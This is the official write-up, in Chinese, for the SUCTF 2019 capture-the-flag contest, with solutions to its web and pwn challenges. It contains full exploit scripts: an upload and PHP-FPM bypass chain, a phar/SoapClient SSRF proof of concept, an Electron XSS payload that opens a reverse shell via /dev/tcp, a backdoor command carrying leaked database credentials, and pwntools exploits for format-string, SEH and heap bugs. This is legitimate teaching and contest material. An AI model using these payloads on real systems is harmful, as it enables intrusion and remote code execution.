2019-08-22 | wp | UNLOCK

SUCTF 2019 官方 Write up

[TOC]


Web

CheckIn

一个比较老的上传技巧,但是貌似很少人知道,一些上传总结中都没有出现,github 开源项目 upload-lab 上也没有出现过,所以就拿来出题了。.user.ini适用于 php-fpm 的场景下的上传 trick,但是CTF比赛中貌似都还没有出现过,直接拿了国赛华东北赛区的一个上传绕过题目来改的,原本是直接 ban 掉了htaccess,防止大家思路跑偏,可是出题人打字太快了写成了htacess,就比较尴尬了。

参考user.ini文件构成的PHP后门

EasyPHP

这道题没有什么全新的考点,就是三层绕过,但是第三层 fpm 绕过 disable_functions ,作为出题人要给大家谢罪了。。。忘记过滤了 ini_set ,结果导致大家都用的时 bypass open_basedir的新方法 这篇文章中的思路。另外还有 putenv,所以第三层基本上是废了 T_T。

第一层

黑名单执行,参考自 https://xz.aliyun.com/t/5677 ,另外限制了长度。

Php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。

Ascii码大于 0x7F 的字符都会被当作字符串,而和 0xFF 异或相当于取反,可以绕过被过滤的取反符号。

可以传入phpinfo,也可以进入第二层get_the_flag 函数

1
2
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

第二层

.htaccess文件上传,也算是屡见不鲜了

上传的 .htaccess文件可以为如下,我上传的文件是 zenis.pxp

1
2
3
4
#define width 1
#define height 1
AddType application/x-httpd-php .pxp
php_value auto_append_file "php://filter/convert.base64-decode/resource=zenis.pxp"

后面上传的文件可以加一个四个字符 b”\x18\x81\x7c\xf5”,这样base64之后开头就是 GIF89了

第三层

有了webshell后,发现有 open_basedir限制,在www目录下发现文件 F1AghhhhhhhhhhhhhHH ,但是发现是个假的 flag ,还提示说有 php7.2-fpm has been initialized in unix socket mode!

这里不难联想到 fpm 绕过 open_basedir,disable_functions等限制,参考open_basedir bypass with IP-based PHP-FPM,今年不止考了一次了

php7.2-fpm.sock默认在

unix:///run/php/php7.2-fpm.sock

借用p神的脚本魔改一下,不过还要加上对 open_basedir 的重设

1
'PHP_VALUE': 'auto_prepend_file = php://input'+chr(0x0A)+'open_basedir = /',

EXP

exp1.py

改自 p 神的payload,这里贴出关键部分,可以生成base64版,以 GIF89a 开头的payload,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    def request(self, nameValuePairs={}, post=''):
#if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return
......
#print(request)
#print(base64.b64encode(request))
pay = "<?php \n$exp = \""+base64.b64encode(request).decode()+"\";"
pay = pay + """
print_r($exp);
$sock=stream_socket_client('unix:///run/php/php7.2-fpm.sock');
stream_socket_sendto($sock, base64_decode($exp));
print("\n");
while(!feof($sock)){
print_r(fread($sock, 4096));
}
fclose($sock);
"""
print(base64.b64encode(b"\x18\x81\x7c\xf5"+pay.encode()))
exit()
......
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input'+chr(0x0A)+'open_basedir = /',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

exp2.py

将 exp.py 生成的 payload 放到 exp 变量即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://192.168.188.128:8810/"
payload = "?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
files = {'file':(".htaccess","""#define width 1
#define height 1
AddType application/x-httpd-php .pxp
php_value auto_append_file "php://filter/convert.base64-decode/resource=zenis.pxp""")}
r1 = requests.post(url+payload, files=files)
#print(r1.text)
exp = """GIF89Tw/cGhwIAokZXhwID0gIkFRRjZPQUFJQUFBQUFRQUFBQUFBQUFFRWVqZ0I3QUFBRVF0SFFWUkZWMEZaWDBsT1ZFVlNSa0ZEUlVaaGMzUkRSMGt2TVM0d0RnUlNSVkZWUlZOVVgwMUZWRWhQUkZCUFUxUVBGMU5EVWtsUVZGOUdTVXhGVGtGTlJTOTJZWEl2ZDNkM0wyaDBiV3d2YVc1a1pYZ3VjR2h3Q3hkVFExSkpVRlJmVGtGTlJTOTJZWEl2ZDNkM0wyaDBiV3d2YVc1a1pYZ3VjR2h3REFCUlZVVlNXVjlUVkZKSlRrY0xGMUpGVVZWRlUxUmZWVkpKTDNaaGNpOTNkM2N2YUhSdGJDOXBibVJsZUM1d2FIQU5BVVJQUTFWTlJVNVVYMUpQVDFRdkR3NVRSVkpXUlZKZlUwOUdWRmRCVWtWd2FIQXZabU5uYVdOc2FXVnVkQXNKVWtWTlQxUkZYMEZFUkZJeE1qY3VNQzR3TGpFTEJGSkZUVTlVUlY5UVQxSlVPVGs0TlFzSlUwVlNWa1ZTWDBGRVJGSXhNamN1TUM0d0xqRUxBbE5GVWxaRlVsOVFUMUpVT0RBTENWTkZVbFpGVWw5T1FVMUZiRzlqWVd4b2IzTjBEd2hUUlZKV1JWSmZVRkpQVkU5RFQweElWRlJRTHpFdU1Rd1FRMDlPVkVWT1ZGOVVXVkJGWVhCd2JHbGpZWFJwYjI0dmRHVjRkQTRDUTA5T1ZFVk9WRjlNUlU1SFZFZzBNZ2t3VUVoUVgxWkJURlZGWVhWMGIxOXdjbVZ3Wlc1a1gyWnBiR1VnUFNCd2FIQTZMeTlwYm5CMWRBcHZjR1Z1WDJKaGMyVmthWElnUFNBdkR4WlFTRkJmUVVSTlNVNWZWa0ZNVlVWaGJHeHZkMTkxY214ZmFXNWpiSFZrWlNBOUlFOXVBUVI2T0FBQUFBQUJCWG80QUNvQUFEdy9jR2h3SUhCeWFXNTBYM0lvYzJOaGJtUnBjaWduTDNaaGNpOTNkM2N2YUhSdGJDY3BLVHMvUGdFRmVqZ0FBQUFBIjsKICAgIHByaW50X3IoJGV4cCk7CiAgICAkc29jaz1zdHJlYW1fc29ja2V0X2NsaWVudCgndW5peDovLy9ydW4vcGhwL3BocDcuMi1mcG0uc29jaycpOwogICAgc3RyZWFtX3NvY2tldF9zZW5kdG8oJHNvY2ssIGJhc2U2NF9kZWNvZGUoJGV4cCkpOwogICAgcHJpbnQoIgoiKTsKICAgIHdoaWxlKCFmZW9mKCRzb2NrKSl7CiAgICAgICAgcHJpbnRfcihmcmVhZCgkc29jaywgNDA5NikpOwogICAgfQogICAgZmNsb3NlKCRzb2NrKTsK"""
files = {'file':("zenis.pxp",exp)}
r2 = requests.post(url+payload, files=files)
print(r2.text)
print(requests.get(url+r2.text).text)

pythonginx

这是在刚刚举行的 black hat 2019 上看到的东西,感觉比较有意思,就拿来出题了。

//题目代码都没改多少,但是很多队伍都跑远了…orz

预期解:

1
file://suctf.c℆sr%2ffffffflag @111

这里我选用的是这个字符,再加上题目给的 nginx 提示,其实按照预期思路基本没有什么坑,就比较容易让人想到/usr/local/nginx/conf/nginx.conf这个 nginx 配置文件了,里面就有 flag 的位置。

看了很多师傅的非预期,感觉也挺有意思的,但是按照其他的思路来看这题就成了一道猜 flag 位置的题。(给师傅们磕头了,哐哐哐,是我太菜了…

问了一些师傅,都表示看了这篇文章,//vk师傅又读了一遍urllib的源码orz

其实html的提示就是想说 suctf.cc 是绑了 localhost ,大家可以不用管这个域名。

题外话,还有师傅真的把 suctf.cc 给买下来了…还买了一年 orz…然后还真有一个师傅跑偏到日 suctf.cc 去了…

哐哐哐给师傅们谢罪了

Upload Labs 2

题目直接给出了附件,代码不多,简单审计我们可以知道要getFlag就需要绕过127.0.0.1的限制,首先我们来看怎么绕过127.0.0.1的限制。
class.php中,我们可以很明显的看到存在

1
2
3
4
5
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}

打ctf比较多的人可能会很熟悉,这是可以通过反射SimpleXMLElement来进行xxe,但是题目在 config.php 中把外部实体给限制了。
但是从$a->check();的调用我们不难想到可以利用SoapClient来进行 SSRF ,利用条件就是要通过反序列化,那么怎么得到反序列化呢
这个题考的就是finfo_file触发 phar 反序列化,但是题目有以下限制:
1
2
3
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}

ban 掉了 phar 开头的伪协议,还有一些考过的协议,发现还有 php 伪协议没有 ban ,于是可以利用类似于

1
php://filter/read=convert.base64-encode/resource=phar://./1.phar

这种形式来触发反序列化,所以基本外层都弄完了,下面看看内部怎么弄。

题目在 admin.php 中又给了一个反序列化,这个反序列化我们可以看到只能通过

1
2
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();

这样去触发了,又给了另几个反射类:
1
2
3
4
5
6
7
8
9
10
11
12
13
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}

参考TSec 2019 议题 PPT:Comprehensive analysis of the mysql client attack chain,这里其实就是
1
2
3
4
$m = new mysqli();
$m->init();
$m->real_connect('ip','select 1','select 1','select 1',3306);
$m->query('select 1;');

在自己服务器上架一个 rogue mysql 就行了,然后文件参数为phar://./upload/xxxx,你上传的那个 phar 就行了,然后就可以在自己传入的那个端口拿到 flag 啦。

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class File{

public $file_name;
public $type;
public $func = "SoapClient";

function __construct($file_name){
$this->file_name = $file_name;
}
}

$target = 'http://127.0.0.1/admin.php';
// $target = "http://106.14.153.173:2015";
$post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=xxx.xxx.xxx.xxx&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=xxx.xxx.xxx.xxx&port=xxxx';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
// $b = new SoapClient(null,array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "aaab"));

$arr = array(null, array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "aaab"));

$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>"); //设置stub
$o = new File($arr);
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
rename("1.phar", "1.gif");
?>

easy_sql

题目打开之后,会提示让我们输入flag,如果输入的内容与flag一样的话,则输出flag。
通过输入的字符串可以大致判断出后端逻辑是:
$query||FLAG
因此需要找到一种可以通过||带出flag的方式。在sql_mode,可以通过将其值设置为PIPE_AS_CONCAT改变||的作用为拼接字符串,此时随便输入一串字符串便能返回该字符串与FLAG拼接的内容。
这里我借用N.E.X的一张图加以说明:

最终的payload为:
1;set sql_mode=pipes_as_concat;select 1

由于出题出到一半时有事就放着了,最后放题时看有黑名单存在便以为出完了,结果导致了许多低级的非预期解。

iCloudMusic

第一步的XSS不难,js_to_run中直接将歌单信息拼接到js中,引号+大括号逃逸即可。

拿到XSS怎样转化为RCE则考察怎样通过覆盖js原生函数来泄漏preload.js运行的node环境中的一些变量/函数等,这里有两种方法

  • 思路1 暴力重写js所有原生函数
    以Function.prototype.apply为例
    1
    2
    3
    4
    5
    6
    7
    Function.prototype.apply2=Function.prototype.apply;
    Function.prototype.apply=function(...args){
    for(var i in args)
    if(args[i])
    console.log(args[i].toString());
    return this.apply2(...args);
    }

view的devtools执行这个函数后,尝试执行request.get一个url,可以在console中找到process.因此便可以将我们的覆盖脚本改写为:

1
2
3
4
5
6
7
8
9
Function.prototype.apply2=Function.prototype.apply;
Function.prototype.apply=function(...args){
if(args[0]!=null && args[0]!=undefined && args[0].env!=undefined){
Function.prototype.apply=Function.prototype.apply2;
args[0].mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/XXXXXX/8080 0>&1"');
}
return this.apply2(...args)
}
request.get('http://www.baidu.com/',null)

  • 思路2 白盒审计

request库/http库/其他很多node库都有可能调用process相关的函数,其中process下有这样一个函数nextTick

1
2
3
4
ƒ (...args) {
process.activateUvLoop();
return func.apply(this, args);
}

可以看到process.nextTick中调用了func.apply,即Function.prototype.apply,且参数this正是process本身。
在http库中处理socket请求的一个关键函数即调用了这个函数
1
2
3
ClientRequest.prototype.onSocket = function onSocket(socket) {
process.nextTick(onSocketNT, this, socket);
};

request库处理请求都使用http库,且request库本身也多次调用了这个函数
1
2
3
4
var defer = typeof setImmediate === 'undefined'
? process.nextTick
: setImmediate


知道这一点我们便可以直接给出我们同上的利用脚本。

Cocktail’s Remix

1.从robots.txt可以得到根目录下页面。

1
2
3
4
User-agent: *
Disallow: /info.php
Disallow: /download.php
Disallow: /config.php

2.从info.php页面可以发现Apache后门模块mod_cocktail。
1
core mod_so mod_watchdog http_core mod_log_config mod_logio mod_version mod_unixd mod_access_compat mod_alias mod_auth_basic mod_authn_core mod_authn_file mod_authz_core mod_authz_host mod_authz_user mod_autoindex mod_cocktail mod_deflate mod_dir mod_env mod_filter mod_mime prefork mod_negotiation mod_php7 mod_reqtimeout mod_setenvif mod_status

3.通过download.php页面可以下载任意可读文件,包括mod_cocktail.so和config.php。
下载方式:http://ip/download.php?filename=文件名
下载数据库配置页面config.php
http://ip/download.php?filename=config.php
下载模块链接库mod_cocktail.so:
http://ip/download.php?filename=/usr/lib/apache2/modules/mod_cocktail.so

4.下载config.php页面源码得到内网数据库地址,用户和密码

1
2
3
4
5
<?php
//$db_server = "MysqlServer";
//$db_username = "dba";
//$db_password = "rNhHmmNkN3xu4MBYhm";
?>

5.对mod_cocktail.so进行逆向,掌握后门利用方法。

对收到的HTTP请求头“Reffer”字段进行base64解码,并执行命令。

6.通过apache后门访问内网数据库获取flag值。

1
2
3
#!/bin/bash
curl 'http://127.0.0.1/1' -H 'Reffer: bXlzcWwgLWggTXlzcWxTZXJ2ZXIgLXUgZGJhIC1wck5oSG1tTmtOM3h1NE1CWWhtIC1lICdzZWxlY3QgKiBmcm9tICBmbGFnLmZsYWc7Jw=='
#Base64解码内容:mysql -h MysqlServer -u dba -prNhHmmNkN3xu4MBYhm -e 'select * from flag.flag;'

Pwn

playfmt

一开始用C++泄露flag,子类继承于派生类,析构函数未写成虚析构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class base {
public:
char* str;
base() {
this->str = (char*)malloc(32);
memcpy(this->str, "hello,world", 32);
}
~base() {
puts(this->str);
free(this->str);
this->str = nullptr;
}
};

class derived :public base {
public:
char* flag;
derived() {
this->flag = nullptr;
}
derived(char* s) {
this->flag = s;
}

~derived() {
this->flag = nullptr;
}
};

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
   puts("Testing my C++ skills...");
//安全操作

puts("testing 1...");
derived* nothing = new derived(nullptr);
delete nothing;

puts("testing 2...");
derived* nothing2 = new derived();
delete nothing2;

puts("testing 3...");
//漏洞点

//带参构造函数,this->flag = (global)flag
derived* ptr = new derived(flag);
base* ptr2 = (base*)ptr;
puts("You think I will leave the flag?");

然后的printf……比较常规吧
其实是因为这个题在三月份的时候就出来了,后来de1ctf里charlie大哥出的unprintable出的比较好,然后printf就被玩烂了…

附exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

# context.log_level = "debug"
do_fmt_ebp_offset = 6
play_ebp_offset = 14
main_ebp_offset = 26

def format_offset(format_str , offset):
return format_str.replace("{}" , str(offset))

def get_target_offset_value(offset , name):
payload = format_offset("%{}$p\x00" , offset)
p.sendline(payload)
text = p.recv()
try:
value = int(text.split("\n")[0] , 16)
print(name + " : " + hex(value))
return value
except Exception, e:
print text

def modify_last_byte(last_byte , offset):
payload = "%" + str(last_byte) + "c" + format_offset("%{}$hhn" , offset)
p.sendline(payload)
p.recv()

def modify(addr , value , ebp_offset , ebp_1_offset):
addr_last_byte = addr & 0xff
for i in range(4):
now_value = (value >> i * 8) & 0xff
modify_last_byte(addr_last_byte + i , ebp_offset)
modify_last_byte(now_value , ebp_1_offset)

p = process("./playfmt")
elf = ELF("./playfmt")

p.recvuntil("=\n")
p.recvuntil("=\n")
# leak ebp_1_addr then get ebp_addr
play_ebp_addr = get_target_offset_value(do_fmt_ebp_offset, "logo_ebp")
# get_ebp_addr
main_ebp_addr = get_target_offset_value(do_fmt_ebp_offset, "main_ebp")
# flag_class_ptr_addr = main_ebp_addr + 0x10
# flag_class_ptr_offset = main_ebp_offset - 4
flag_class_ptr_offset = 19
flag_addr = get_target_offset_value(flag_class_ptr_offset , "flag_addr") - 0x420
log.info(hex(flag_addr))

# puts_plt = elf.plt["puts"]
modify(main_ebp_addr + 4 , flag_addr , do_fmt_ebp_offset , play_ebp_offset)
# gdb.attach(p)
payload = format_offset("%{}$s\x00" , play_ebp_offset + 1)
p.send(payload)
# log.info("flag_addr : " + hex(flag_addr))

# p.sendline("quit")
p.interactive()

BabyStack

通过除0异常进入正确流程后,利用栈溢出覆盖SEH,并在栈上伪造scope_table,从而bypass SafeSEH,控制程序执行流,获取flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
import struct

def p32(addr):
return struct.pack("<I",addr)

def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def search_addr(addr):
p.recvuntil("Do you want to know more?\r\n")
p.sendline("yes")
p.recvline()
p.sendline(str(addr))
p.recvuntil("value is ")

# p = Process("./BabyStack.exe")
p = remote("121.40.159.66",6666)
# p = remote("192.168.50.165",6666)
p.recvuntil("Hello,I will give you some gifts\r\n")

p.recvuntil("stack address = ")
stack_addr = int(p.recvuntil("\r\n")[:-2],16)
lg("stack_addr",stack_addr)

p.recvuntil("main address = ")
main_addr = int(p.recvuntil("\r\n")[:-2],16) + 0x4a82
lg("main_addr",main_addr)

p.recvline()
p.sendline(hex(main_addr + 0x171)[2:].rjust(8,"0").upper())

search_addr(main_addr + 0x73c24)
security_cookie = int(p.recvuntil("\r\n")[:-2],16)
lg("security_cookie",security_cookie)

# stack_addr-->0xd8fbf0
# 00D8FB24 buffer_start
# 00D8FBB4 GS_cookie
# 00D8FBB8 addr1
# 00D8FBBC start
# 00D8FBC0 next_SEH
# 00D8FBC4 this_SEH_ptr
# 00D8FBC8 scope_table

search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBC0))
next_SEH = int(p.recvuntil("\r\n")[:-2],16)
lg("next_SEH",next_SEH)

search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBC4))
this_SEH_ptr = int(p.recvuntil("\r\n")[:-2],16)
lg("this_SEH_ptr",this_SEH_ptr)

search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBC8))
Scope_Table = int(p.recvuntil("\r\n")[:-2],16)
lg("Scope_Table",Scope_Table)

search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBB4))
GS_cookie = int(p.recvuntil("\r\n")[:-2],16)
lg("GS_cookie",GS_cookie)

search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBBC))
start = int(p.recvuntil("\r\n")[:-2],16)
lg("start",start)

p.recvuntil("Do you want to know more?\r\n")
p.sendline("homura")

buffer_start = stack_addr - (0xd8fbf0 - 0x0D8FB24)
payload = ""
payload += "A"*8
payload += p32(0xFFFFFFE4)
payload += p32(0)
payload += p32(0xFFFFFF0C)
payload += p32(0)
payload += p32(0xFFFFFFFE)
payload += p32(main_addr - 0x1bd)
payload += p32(main_addr - 0x17a)
payload = payload.ljust(0x88,"C")
payload += "H"*0x8
payload += p32(GS_cookie)
payload += p32(main_addr - 0x17a) # "C"*0x4
payload += "C"*0x4 # p32(main_addr - 0x175)
payload += p32(next_SEH)
payload += p32(this_SEH_ptr)
payload += p32((buffer_start + 8)^security_cookie)
# payload += p32(Scope_Table)
p.sendline(payload)

p.recvuntil("Do you want to know more?\r\n")
p.sendline("yes")
p.recvline()

# raw_input()
p.sendline("AA")
# raw_input()

# p.interactive()
print p.recv()

old_pc

scanf导致的NULL-byte offbyone -> 32位unlink -> 想怎么打就怎么打(各位大哥对不起,下次一定提前提示libc版本号)

  • 预期解是 unlink+house_of_spirit,没想到还有人被realloc卡住了[狗头]。
  • 目前见过最骚的非预期是kirin师傅的house_of_prime做法和7o8v师傅的house_of_orange做法。
exp from 人人人
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from time import sleep
import sys

context.arch = 'i386'
binary = ELF("pwn")

if sys.argv[1] == 'l':
#context.log_level = 'debug'
io = process("./pwn")
elif sys.argv[1] == 'r':
io = remote('47.111.59.243',10001)
else:
info("INVALID OP")
exit()

def choice(c):
io.sendlineafter(">>> ",str(c))
def p(size,name,price):
choice(1)
io.sendlineafter("length: ",str(size))
io.sendlineafter("Name: ",name)
io.sendlineafter("Price: ",str(price))
def c(index,comment,score):
choice(2)
io.sendlineafter("Index: ",str(index))
io.sendafter(": ",comment)
io.sendlineafter("score: ",str(score))
def t(index):
choice(3)
io.sendlineafter("index: ",str(index))
def r(index,new,c,data = '',fill = ''):
choice(4)
io.sendlineafter("index: ",str(index))
sleep(0.2)
io.send(new)
if(index<=3):
io.sendlineafter("(y/n)",c)
if(c == 'y'):
io.sendlineafter("serial: ",data)
io.sendafter("Pwner\n",fill)

#gdb.attach(io,'c')

p(0x10,'0000',0)#0
c(0,'0000',0)
p(0x10,'0000',0)#1
c(1,'0000',0)
p(0x10,'0000',0)#2
c(2,'0000',0)
t(0);t(1);
p(0x10,'0000',0)#0
c(0,'0',0)
p(0x10,'0000',0)#1
c(1,'0',0)
t(0)
io.recvuntil('Comment ')
buf = io.recv(4)
libc_base = u32(buf)-(0xf7736730-0xf7584000)+0x2000
success("libc base -> %#x"%libc_base)
buf = io.recv(4)
print hex(u32(buf))
heap_base = ((u32(buf)>>12)<<12)
success("heap base -> %#x"%heap_base)

p(0x10,'/bin/sh;\x00',1)#0
c(0,p32(heap_base+0x338)*2,1)
p(0x10,'1111',1)#3
p(0x10,'1111',1)#4
p(0x10,'1111',1)#5
p(0x10,'1111',1)#6
t(3);t(4);t(5);t(6);
p(0x6c,'2222',2)#3
p(0xf8,'2222',2)#4
p(0x10,"$0;\x00"+p32(0)*2+p32(0x1c1),2)#5
c(5,p32(0)*5+p32(0x11)+3*p32(0)+p32(0x11)+3*p32(0)+p32(0x11),2)
t(3)
p(0x6c,p32(0)+p32(0x69)+p32(heap_base+0x30c-0xc)+p32(heap_base+0x30c-0x8)+'\x00'*0x58+p32(0x68),0x19)#3
t(4)
r(3,p32(0)+p32(0x19)+p32(0)+p32(libc_base+0x1b18b0),'y',data = 'e4SyD1C!',fill = p32(libc_base+0x3a940))

io.interactive()
exp from Kirin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

context.log_level="debug"
def add(l,note,prize):
p.sendlineafter(">>> ","1")
p.sendlineafter(": ",str(l))
p.sendafter(": ",note)
p.sendlineafter(": ",str(prize))
def comment(index,note,score):
p.sendlineafter(">>> ","2")
p.sendlineafter(": ",str(index))
p.sendafter(": ",note)
p.sendlineafter(": ",str(score))
def delete(index):
p.sendlineafter(">>> ","3")
p.sendlineafter(": ",str(index))
p.recvuntil("Comment ")
s=p.recvuntil("1.")
return s
def edit(index,note,power=0,serial=""):
p.sendlineafter(">>> ","4")
p.sendlineafter(": ",str(index))
p.send(note)
if power:
p.sendlineafter(")","y")
p.sendafter("serial: ",serial)
else:
p.sendlineafter(")","n")
#p=process("./pwn")
p=remote("47.111.59.243",10001)
add(0x14,"a"*0x13+"\n",0)
comment(0,"bbbb",12)
add(0x14,"cccc\n",1)
delete(0)
comment(1,"b",12)
libc_addr=u32(delete(1)[0:4])+0xf7dfa000-0xf7fac762+0x2000
print hex(libc_addr)
#gdb.attach(p)
add(0x14,"aaaaaa\n",0)
add(0xfc,"ddddddd\n",1)
add(0x14,"eeee\n",2)
delete(0)
add(0x14,"a"*0x14,0)
delete(0)
for i in range(5):
add(0x14,"a"*(0x14-i-1)+"\n",0)
delete(0)
add(0x14,"a"*16+"\xa8"+"\n",0)
delete(1)
add(0x24,"aaaaaa\n",0)
comment(2,"2"*84,0)
s=delete(2)
heap_addr=u32(s[84:84+4])
print hex(heap_addr)
add(0x14,"a\n",0)
comment(1,"1"*72+p32(0)+p32(0x19)+p32(heap_addr++0x2c8)+p32(heap_addr)+p32(0)*2+p32(0)+p32(0x91),0)
comment(2,p32(0)*24+p32(0)+p32(0x19)+"a"*16+p32(0)+p32(0x19),1)
add(0xec,"a\n",0)
add(0xec,"a\n",0)
add(0xec,"a\n",0)
add(0x14,"a\n",0)
delete(0)
delete(2)
comment(3,p32(0)*9+p32(0x91)+p32(libc_addr-0xf7e1f000+0xf7fcf7b0)+p32(libc_addr+0x1b18e0-0x8),0)
comment(4,"4444",0)
add(0x14,"a\n",0)
add(0x14,p32(heap_addr+0x2e0)+p32(heap_addr+0x1d8)+"\n",0)
delete(5)
delete(4)
delete(6)
#gdb.attach(p)
add(0xec,p32(libc_addr+0xf7fcf743+8-0xf7e1f000)+"\n",1)
add(0xec,p32(libc_addr+0xf7fcf743+8-0xf7e1f000)+"\n",1)
add(0xec,"/bin/sh\n",1)
add(0xec,"a"*17+p32(libc_addr+0x3a940)+"\n",1)
print hex(libc_addr)
#gdb.attach(p)
p.interactive()

exp from 7o8v
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
from pwn import *

context(
log_level='debug',
os='linux',
arch='amd64',
binary='./pwn'
)

e = context.binary
libc = e.libc

ip = '47.111.59.243'
port = 10001

io = process()
#io = remote(ip, port)

#====================================================================

def dbg(script=''):
gdb.attach(io, gdbscript=script)

def sh():
io.interactive()

def menu(cmd):
io.sendlineafter('>>> ', str(cmd))

def purchase(length, name, price=0):
menu(1)
io.sendlineafter('length: ', str(length))
io.sendlineafter('Name: ', name)
io.sendlineafter('ce: ', str(price))

def comment(idx, content, score):
menu(2)
io.sendlineafter('dex: ', str(idx))
io.sendafter(' : ', content)
io.sendlineafter(': ', str(score))

def throwit(idx):
menu(3)
io.sendlineafter(': ', str(idx))


#====================================================================

libc_leak_off = 0x1b2761
heap_leak_off = 0x120
free_hook_off = libc.symbols['__free_hook']
malloc_hook_off = libc.symbols['__malloc_hook']
system_off = libc.symbols['system']
stdin_io_off = libc.symbols['_IO_2_1_stdin_']
io_list_all_off = libc.symbols['_IO_list_all']
one_shoot_off = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5, 0x5fbc6]


#====================================================================

purchase(0x14, '0'*0x10) #0
comment(0, 'a'*0x8c, 0)

purchase(0x14, '1'*0x10) #1
comment(1, 'b'*0x8c, 0)

purchase(0x14, '2'*0x10) #2

throwit(0)
throwit(1)

purchase(0x14, '0'*0x10) #0
comment(0, 'a', 0)
throwit(0)

io.recvuntil('Comment ')

libc_base = u32(io.recv(4)) - libc_leak_off
system = libc_base + system_off
free_hook = libc_base + free_hook_off
malloc_hook = libc_base + malloc_hook_off
stdin_io = libc_base + stdin_io_off
heap_base = u32(io.recv(4)) - heap_leak_off
io_list_all = libc_base + io_list_all_off
one_shoot = libc_base + one_shoot_off[5]


purchase(0x14, '0'*0x10) #0
comment(0, 'a'*0x8c, 0)
purchase(0x14, '1'*0x10) #1
